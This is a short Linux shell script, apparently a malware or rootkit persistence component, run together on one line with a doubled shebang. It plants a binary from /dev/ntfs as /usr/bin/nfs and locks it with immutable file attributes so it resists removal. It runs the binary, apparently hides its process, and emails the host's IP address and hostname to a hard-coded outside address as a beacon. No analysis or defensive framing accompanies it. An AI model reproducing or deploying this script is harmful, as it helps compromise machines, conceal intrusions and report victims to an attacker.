#!/bin/sh #!/bin/bash EMAIL="pradamea@yahoo.com" MYIP=`/sbin/ifconfig eth0 | grep "inet addr:" | awk -F ' ' ' {print $2} ' | cut -c6-` if [ -x /usr/bin/nfs ] then chattr +saui /usr/bin/nfs else cp /dev/ntfs /usr/bin/nfs chattr +saui /usr/bin/nfs /dev/ntfs fi nfs & nfs i `/sbin/pidof nfs` echo -e " $MYIP # `hostname -f`" | mail -s reboot $EMAIL